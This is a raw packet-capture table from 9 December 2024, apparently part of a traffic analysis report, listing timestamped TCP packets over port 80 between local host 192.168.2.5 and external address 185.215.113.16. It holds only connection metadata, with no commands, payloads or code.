Dec 9, 2024 15:29:44.907064915 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.907075882 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.907146931 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.908054113 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.908065081 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.908076048 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.908108950 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.908127069 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.909779072 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.909790039 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.909842968 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.913305044 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.913316011 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.913366079 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.913791895 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.913804054 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.913841963 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.915894985 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.915906906 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.915946007 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.917164087 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.917176962 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.917186975 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.917212009 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.917246103 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.918395996 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.918407917 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.918456078 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.919961929 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.919974089 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.920022011 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.922426939 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.922437906 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.922480106 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.922517061 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.923744917 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.923755884 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.923768044 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.923809052 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.923835039 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.924983978 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.925107002 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.925163984 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.926589012 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.926600933 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.926651955 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.928066969 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.928080082 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.928126097 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.928507090 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.928518057 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.928549051 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.928580046 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.930084944 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.930097103 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.930151939 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.931639910 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.931651115 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.931700945 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.933273077 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.933284998 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.933335066 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.934864998 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.934876919 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.934915066 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.936398029 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.936409950 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.936419964 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.936458111 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.936480999 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.044981956 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.045051098 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.045301914 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.045857906 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.045928001 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.045973063 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.046262980 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.046300888 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.047090054 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.047136068 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.047889948 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.047903061 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.047956944 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.049452066 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.049513102 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.050234079 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.051031113 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.051074982 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.051162958 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.051198959 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.052881956 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.052895069 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.052927971 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.052944899 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.053985119 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.057858944 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.066243887 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.066984892 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.067032099 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.067749977 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.067795992 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.068248987 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.068291903 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.068588018 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.068628073 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.068768978 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.068808079 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.069691896 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.069705009 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.069749117 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.069843054 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.070960999 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.071003914 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.071619034 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.071661949 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.072408915 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.072422981 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.072468042 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.073844910 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.073863029 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.073908091 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.075196981 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.075207949 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.075239897 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.075263977 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.076764107 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.076776028 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.076817989 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.078334093 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.078345060 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.078392982 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.079827070 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.079838991 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.079883099 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.081374884 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.081387043 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.081429005 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.082866907 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.082923889 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.083450079 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.083523989 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.083579063 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.083621025 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.084821939 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.084834099 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.084894896 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.086328983 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.086340904 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.086374998 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.087735891 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.087747097 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.087780952 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.089284897 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.089298964 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.089339972 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.089366913 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.089427948 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.089849949 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.090949059 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.090960979 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.090986967 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.091000080 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.092351913 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.092363119 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.092396975 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.093950987 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.093962908 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.093997002 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.094022036 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.095496893 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.095509052 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.095551968 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.097059965 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.097071886 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.097107887 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.098711967 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.098722935 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.098732948 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.098767042 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.098787069 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.100496054 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.100507021 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.100555897 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.101047993 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.101059914 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.101114035 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.104121923 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.104135036 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.104192019 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.105376005 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.105387926 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.105416059 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.105444908 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.106554031 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.106566906 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.106615067 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.106703043 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.108277082 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.108289003 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.108328104 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.109361887 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.109375000 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.109433889 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.110497952 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.110558033 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.110657930 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.111078024 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.112085104 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.112097025 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.112111092 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.112139940 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.112173080 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.113899946 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.113913059 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.113964081 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.115030050 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.115042925 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.115097046 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.116708040 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.116723061 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.116749048 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.116772890 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.118354082 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.118371010 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.118402004 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.118417025 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.120023012 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.120037079 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.120047092 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.120074987 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.120105028 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.121718884 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.121731997 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.121787071 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.123120070 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.123240948 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.123290062 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.125602961 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.125616074 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.125650883 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.127139091 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.127151012 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.127160072 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.127186060 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.127201080 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.128842115 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.128854036 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.128885031 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.128910065 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.129995108 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.130006075 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.130017042 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.130057096 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.130084991 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.236334085 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.236398935 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.236649036 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.236696959 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.237709999 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.237765074 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.238173008 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.238851070 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.238862038 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.238900900 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.240207911 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.240257025 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.241080046 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.241152048 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.241831064 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.241842031 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.241883039 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.243100882 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.243117094 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.243144989 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.243169069 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.244503975 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.244515896 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.244556904 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.257209063 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.257556915 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.257616043 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.257765055 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.257802010 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.258390903 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.259126902 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.259177923 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.259768009 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.259814978 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.260596037 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.260642052 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.261148930 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.261194944 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.261841059 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.262792110 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.262841940 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.263180017 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.263191938 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.263226032 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.264682055 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.265398026 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.265409946 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.265448093 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.266805887 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.267575026 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.267585993 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.267631054 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.268899918 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.268910885 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.268964052 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.270282984 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.270293951 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.270337105 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.271697998 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.271708965 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.271750927 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.273159981 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.273170948 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.273202896 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.274528980 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.274539948 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.274574995 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.276223898 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.276266098 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.276669025 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.276680946 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.276711941 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.278742075 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.278753042 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.278803110 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.280157089 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.280169010 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.280220985 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.281850100 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.281861067 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.281905890 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.283355951 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.283366919 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.283376932 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.283406973 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.283427954 CET	49805	80	192.168.2.5	185.215.113.16
